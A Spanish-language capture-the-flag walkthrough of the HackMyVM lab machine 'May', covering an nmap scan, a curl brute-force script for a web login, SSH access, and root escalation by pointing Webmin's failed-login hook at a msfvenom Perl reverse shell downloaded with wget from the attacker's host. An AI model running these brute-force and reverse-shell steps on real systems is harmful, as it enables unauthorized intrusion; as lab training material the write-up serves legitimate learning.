Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-22 03:17 EDT
Nmap scan report for 192.168.1.160
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 94:fb:c0:76:f2:b3:ff:4a:ed:61:6a:ae:a1:ca:86:c1 (RSA)
| 256 d0:29:99:fd:69:68:21:e3:b4:a6:48:e4:4e:a1:7e:f4 (ECDSA)
|_ 256 2a:1b:1f:3d:ab:0a:00:5b:43:75:89:67:8a:98:21:df (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Did not follow redirect to http://may.hmv
|_http-server-header: nginx/1.14.2
10000/tcp open http MiniServ 1.979 (Webmin httpd)
|_http-title: 200 — Document follows
MAC Address: 08:00:27:A3:6D:B5 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.48 seconds
Veremos varias cosas interesantes, entre ellas el puerto 80 que aloja una pagina web, pero si entramos veremos que se esta resolviendo con un dominio llamado may.hmv por lo que tendremos que añadirlo a nuestro archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> may.hmv
Lo guardamos y volveremos a cargar la pagina para que nos cargue el contenido.
URL = http://may.hmv/
Veremos lo siguiente cuando entremos:
admin: Web is under construction. Use Intranet.
marie: Where are now the keys?
alice: Yes, where are?
admin: :'(
Ya vemos 3 posibles usuarios, los cuales nos vamos a guardar en un archivo por si nos fuera necesario en un futuro utilizarlo:
users.txt
admin
marie
alice
Pero no veremos nada interesante en la pagina, como tenemos un dominio, vamos a realizar un poco de fuzzing a ver si encontramos algun subdominio de la siguiente forma:¡
Vemos que se esta utilizando una Cookie por lo que vamos a crear el script de esta forma:
forceWeb.sh
#!/bin/bash
while read pass; do
resp=$(curl -s -i -X POST http://portal.may.hmv/check.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: Sweetcookie=HMVHMXHMVHMXHMVHMXHMVHMX" \
-d "user=marie&password=$pass")
# Verifica si la respuesta contiene el mensaje de "user/pass incorrect."
echo "$resp" | grep -q "user/pass incorrect." || echo "[+] Found: marie:$pass"
done < /usr/share/wordlists/rockyou.txt
Vamos a probar con el usuario marie si quisieramos con otro cambiamos el campo del user por el otro, pero en mi caso probare primero con el usuario marie, ahora lo ejecutaremos de la siguiente forma:
bash forceWeb.sh
Info:
[+] Found: marie:rebelde
Veremos que ha funcionado y hemos encontrado la contraseña de dicho usuario, ahora si entramos con dichas credenciales veremos lo siguiente:
Hi marie!Portal is under development too.Come back later
Escalate user marie
No veremos nada interesante, pero si entramos en la que pone ssh.may.hmv y metemos las mismas credenciales veremos que no son validas, por lo que vamos a capturar la peticion a ver que esta pasando y veremos esto:
Veremos que no se esta estableciendo la Cookie por lo que con la peticion interceptada, vamos a añadir dicho campo de la Cookie para que nos podamos loguear quedando de esta forma:
Vemos que ha funcionado de forma correcta, por lo que vamos a probar a meternos por SSH con el usuario marie.
Antes crearemos el archivo para meter nuestro id_rsa:
nano id_rsa
#Dentro del nano
<ID_RSA_MARIE>
Lo guardamos y le establecemos los permisos necesarios para que funcione.
chmod 600 id_rsa
Ahora si nos conectaremos por SSH mediante la clave PEM de la siguiente forma:
ssh -i id_rsa marie@may.hmv
Info:
The authenticity of host 'may.hmv (192.168.1.160)' can't be established.
ED25519 key fingerprint is SHA256:QSSSqXZeR4OvUa7yWVlVa56SdGhd2InALjTGBAxu8QQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'may.hmv' (ED25519) to the list of known hosts.
Linux may 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 22 03:34:48 2021
marie@may:~$ whoami
marie
Y con esto estaremos dentro de la maquina con dicho usuario, por lo que leeremos la flag del usuario.
user.txt
HMVmarieisrebel
Escalate Privielges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for marie on may:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User marie may run the following commands on may:
(ALL) NOPASSWD: /usr/sbin/halt, /usr/sbin/reboot, /usr/sbin/poweroff
Pero no podremos hacer gran cosa con esto, por lo que vamos a seguir buscando.
Vamos a buscar archivos en los cuales pueda escribir omitiendo los que ya vienen por defecto, a ver que encontramos:
Vemos que cuando da un error en el login ejecuta el archivo failed.pl que esta en perl y se estaria ejecutando como root por lo que vamos aprovechar eso y vamos a generar un archivo en perl para realizar una reverse shell como root, pero antes tendremos que modificar dicha linea y redirigir esa ejeccucion a otro sitio en este caso en nuestra home dejando la linea de esta forma:
failed_script=/home/marie/failed.pl
Ahora si vamos a generar el .pl:
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > failed.pl
Una vez generado el archivo vamos abrir un servidor de python3 para pasarnos el archivo a nuestra home del usuario, donde se va a ejecutar el .pl.
python3 -m http.server 80
Ahora en la maquina victima ejeuctaremos lo siguiente:
wget http://<IP_ATTACKER>/failed.pl
Le damos permisos de ejecuccion:
chmod +x failed.pl
Echo esto entraremos ya en la siguiente URL:
URL = https://<IP>:10000/
Antes de meter las credenciales mal, vamos a ponernos a la escucha:
nc -lvnp <PORT>
Ahora si metemos por ejemplo como credenciales:
User: test
Pass: test
No pondra que hemos fallado las credenciales, pero si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [192.168.1.160] 33600
whoami
root
Veremos que ha funcionado, por lo que leeremos la flag de root.